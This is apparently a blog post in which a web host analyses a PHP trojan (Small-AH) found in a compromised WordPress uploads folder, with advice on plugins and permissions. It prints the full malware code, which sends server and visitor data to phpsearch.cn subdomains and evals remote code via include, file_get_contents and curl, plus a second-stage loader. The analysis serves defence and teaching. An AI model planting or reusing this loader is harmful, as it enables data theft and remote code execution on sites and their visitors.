A very small sample of how incorrectly configured websites can invite trouble for visitors. I was prompted to write about this after hearing about a hacking incident of another friend’s website. The backend was compromised with no apparent user involvement which means another site on the same server possibly served as the backdoor or perhaps the server admins didn’t set the permissions correctly.
A little while ago, I was hosting a website which had been running an older version of WordPress. The site owners had long since let the installation lapse and, as always, there were vulnerabilities in the uploading privileges which were exploited. Since I had let the owners do whatever they pleased with their space and given them a lot of freedom, I didn’t pay as much attention as I should have. No other site on the server was compromised since they had sandboxed access.
Certain WordPress plugins require an inordinate amount of privileges, which is the one big reason to run a site with the minumum necessary plugins and to always keep them up to date. There is also no reason to keep stale files on the server or allow arbritary writing and uploading privileges when the bare minimum is acceptable.
The following is a file called 189715.php found on the /wp-uploads folder of this website and the same code was found in other areas with different number filenames. This was all jammed into one line, so I’ve expanded it here for clarity. Certain portions have been redacted :
<?php /**/eval(base64_decode('[BASE64 ENCODED STRING]')); ?>
<?
error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$z="/?" .
base64_encode($a). "." .
base64_encode($b) . "." .
base64_encode($c) . "." .
base64_encode($d) . "." .
base64_encode($e) . "." .
base64_encode($f) . "." .
base64_encode($g) . "." .
base64_encode($h) . ".e." .
base64_encode($i) . "." .
base64_encode($j);
$f=base64_decode("cGhwc2VhcmNoLmNu");
if (basename($c)==basename($i) && isset($_REQUEST["q"]) &&
md5($_REQUEST["q"])=="cfe044f810cd8d8e6e5759d4005cf72f")
$f=$_REQUEST["id"];
if((include(base64_decode("aHR0cDovL2FkczMu").$f.$z)));
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))
eval($c);
else{
$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$o=curl_exec($cu);
curl_close($cu);
eval($o);
};
die(); ?>
Variable $z was basically a querystring intended to send all of the relevant server and environment data gathered in the previously defined variables.
String “cGhwc2VhcmNoLmNu” assigned to the $f variable turned out to be “phpsearch.cn”, this particular spammer’s domain. String “aHR0cDovL2FkczMu” turned out to be subdomain “http://ads3.” meaning this was a domain intended to inject spam and I’m sure the domain itself was expendable. String “aHR0cDovLzcxLg==” was pointing to subdomain “http://71.” while “aHR0cDovLzcu” was subdomain “http://7.”.
That include block was meant to try and download another PHP file remotely which it would then try to execute locally with the “eval()” function.
If the remote include failed, it would try curl to get the file and execute the file instead.
The [BASE64 ENCODED STRING] was actually another encoded function :
if(function_exists('ob_start') && !isset($GLOBALS['mfsn'])){
$GLOBALS['mfsn']='[REDACTED ROOT]/wp-content/upgrade/openid/openid/Auth/OpenID/style.css.php';
if(file_exists($GLOBALS['mfsn'])){
include_once($GLOBALS['mfsn']);
if(function_exists('gml') && function_exists('dgobh'))
{ob_start('dgobh');}
}
}
The [REDACTED ROOT] is of course where the WP installation directory on this server and in this case, the compromised plugin was OpenID.
The Auth/OpenID directory was full of junk that was surrepticiously uploaded as well. Also, the content of the style.css.php was another massive block of base64 encoded code (which I was unable to decode) and “mfsn” variable held the location of another file that was meant to be dynamically included at runtime. I was unable to find what the “gml” and “dgobh” functions were, but I can guess that it included everything from more injection code to spam to even drive-by downloads.
After running a scan on this server, this file and those like it turned out to be called the Small-AH trojan.
PHP Trojans would often employ base64 encoding and even splitting up the encoded string into multiple sections before decoding and running eval(). This would make it harder to spot and even harder to figure out what the code does exactly, especially in a big file, with just a cursory glance.